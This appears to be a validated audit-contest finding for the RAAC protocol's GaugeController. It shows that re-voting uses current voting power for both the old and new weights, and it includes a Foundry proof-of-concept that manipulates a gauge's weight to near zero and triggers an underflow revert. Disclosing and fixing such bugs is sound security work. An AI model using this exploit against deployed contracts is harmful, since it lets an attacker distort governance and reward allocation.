Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Gauge weight is updated incorrectly on user's second vote

Summary

When a user votes second time on GaugeController, corresponding gauge's weight is calculated incorrectly.

Vulnerability Details

Let's take a look at GaugeController.votefunction:

function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}

User's weight is recorded in userGaugeVotesand gauge's total weight is updated in _updateGaugeWeightfunction:

function _updateGaugeWeight(
address gauge,
uint256 oldWeight,
uint256 newWeight,
uint256 votingPower
) internal {
Gauge storage g = gauges[gauge];
uint256 oldGaugeWeight = g.weight;
@> uint256 newGaugeWeight = oldGaugeWeight - (oldWeight * votingPower / WEIGHT_PRECISION)
+ (newWeight * votingPower / WEIGHT_PRECISION); // @audit incorrect voting power for old weight
g.weight = newGaugeWeight;
g.lastUpdateTime = block.timestamp;
}

The function tries to update gauge's weight based on user's current vote (newWeight) and user's voting power.

The problem is that, the same votingPoweris used for old weight subtraction and new weight addition.

So if oldWeight > 0(i.e. user has pervious vote), gauge's weight will be moved by votingPower * (newWeight - oldWeight)

If a user has gained some serious more voting power between pervious vote and current vote, they can inflict more changes to gauge's weight than deserved.

Impact

  • A malicious user can exploit this vulnerability and then control gauge's weight at their whim. For example, let's assume attacker wants to set gauge's weight to 0. They can first create an initial voting position with full weight (10000) and dust voting power (1 wei). And then they can increase their voting power to half of total voting power and vote again with zero weight. In this scenario, gauge's weight will be set to dust amount.

  • Users with big voting power cannot vote again due to underflow in oldGaugeWeight - (oldWeight * votingPower / WEIGHT_PRECISION)

POC

First, integrate foundry into current project, and then create a file test/poc.t.sol with the following content and run forge test poc.t.sol -vvv

pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {RAACGauge} from "../contracts/core/governance/gauges/RAACGauge.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {MockToken} from "../contracts/mocks/core/tokens/MockToken.sol";
import {GaugeController} from "../contracts/core/governance/gauges/GaugeController.sol";
import {IGaugeController} from "../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
contract GaugeTest is Test {
RAACGauge raacGauge;
RAACToken raacToken;
veRAACToken veToken;
MockToken rewardToken;
GaugeController gaugeController;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address eve = makeAddr("eve");
uint256 userAssetAmount = 10000e18;
uint256 lockDuration = 365 * 4 days;
function setUp() external {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new veRAACToken(address(raacToken));
raacToken.manageWhitelist(address(veToken), true);
rewardToken = new MockToken("Reward Token", "RWD", 18);
gaugeController = new GaugeController(address(veToken));
raacGauge = new RAACGauge(address(rewardToken), address(veToken), address(gaugeController));
raacGauge.grantRole(keccak256("CONTROLLER_ROLE"), address(this));
raacGauge.setBoostParameters(25000, 10000, 7 days);
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, 10000);
}
function testWeightDisruption() external {
// alice wants full weight for RAACGauge
_dealVeToken(alice, 1000e18);
_vote(alice, address(raacGauge), 10000);
// eve creates a initial voting position with dust voting power and full weight
_dealVeToken(eve, 1);
_vote(eve, address(raacGauge), 10000);
emit log_named_uint("weight before attack", gaugeController.getGaugeWeight(address(raacGauge)));
// eve gets equal voting power with alice and then vote with zero weight
_dealVeToken(eve, 1000e18);
_vote(eve, address(raacGauge), 0);
// gauge's weight is set to dust amount
emit log_named_uint("weight after attack", gaugeController.getGaugeWeight(address(raacGauge)));
}
function testVoteFailure() external {
// initial vote
_dealVeToken(alice, 1e18);
_vote(alice, address(raacGauge), 10000);
// alice's voting power has been increased
_dealVeToken(alice, 2e18);
// second vote will fail due to underflow
vm.expectRevert(stdError.arithmeticError);
_vote(alice, address(raacGauge), 10000);
}
function _vote(address account, address gauge, uint256 weight) internal {
vm.startPrank(account);
gaugeController.vote(gauge, weight);
vm.stopPrank();
}
function _dealVeToken(address account, uint256 amount) internal {
deal(address(raacToken), account, amount);
vm.startPrank(account);
raacToken.approve(address(veToken), amount);
veToken.lock(amount, lockDuration);
vm.stopPrank();
}
}

Console Output

[PASS] testUnderflow() (gas: 795194)
[PASS] testWeightDisruption() (gas: 1172564)
Logs:
weight before attack: 1000000000000000010001
weight after attack: 10000

Tools Used

Manual Review, Foundry

Recommendations

When updating gauge's weight, oldWeightshould be multiplied by user's voting power at the previous vote.

In order to do this, GaugeControllershould manage another state variable to store user's voting power at vote time.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::_updateGaugeWeight uses current voting power for both old and new vote calculations, causing underflows when voting power increases and incorrect gauge weights

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::_updateGaugeWeight uses current voting power for both old and new vote calculations, causing underflows when voting power increases and incorrect gauge weights

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!